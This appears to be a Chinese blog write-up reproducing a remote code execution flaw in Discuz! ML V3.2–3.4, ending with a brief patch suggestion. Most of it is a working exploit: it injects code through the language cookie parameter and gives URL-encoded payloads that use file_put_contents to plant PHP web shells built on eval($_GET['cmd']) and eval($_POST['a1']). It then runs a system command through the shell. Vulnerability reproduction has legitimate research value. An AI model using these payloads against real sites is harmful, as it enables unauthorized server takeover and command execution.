Discuz! ML RCE漏洞 getshell 复现

Discuz! ML RCE漏洞 getshell 复现

0x00 影响版本

Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区,漏洞版本如下:

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

0x01 环境搭建

使用phpstudy搭建:直接官网下载即可http://discuz.ml/download,将压缩包解压至phpstudy网站根目录,浏览器访问upload目录即可开始安装

0x02 漏洞复

左上角有语言图标,随便选择一种语言并抓包

将抓到的包发送到repeater模块

将包中cookie的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,得到了phpinfo信息,如下图

0x03 Getshell

EXP:

解码后:

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

解码前:

'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')

将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shell.php文件,如下图:

在url中访问http://192.168.1.9/vot-discuz.ml-fa108dcc726d/upload/shell.php?cmd=system(%27whoami%27);

可以看到执行了命令。

Exp:

%27.+file_put_contents%28%27shelll.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

原语句:

<?php  eval($_POST["a1"]);?>

将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shelll.php文件,如下图

访问该文件,发现该文件被执行。

使用菜刀成功连接:

0X03 修复建议

建议修改source/function/function_core.php 644行为:

 

/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

 

删除可控变量。

或者安装最新补丁。

posted @ 2020-02-15 11:32  L0ading  阅读(1172)  评论(0编辑  收藏  举报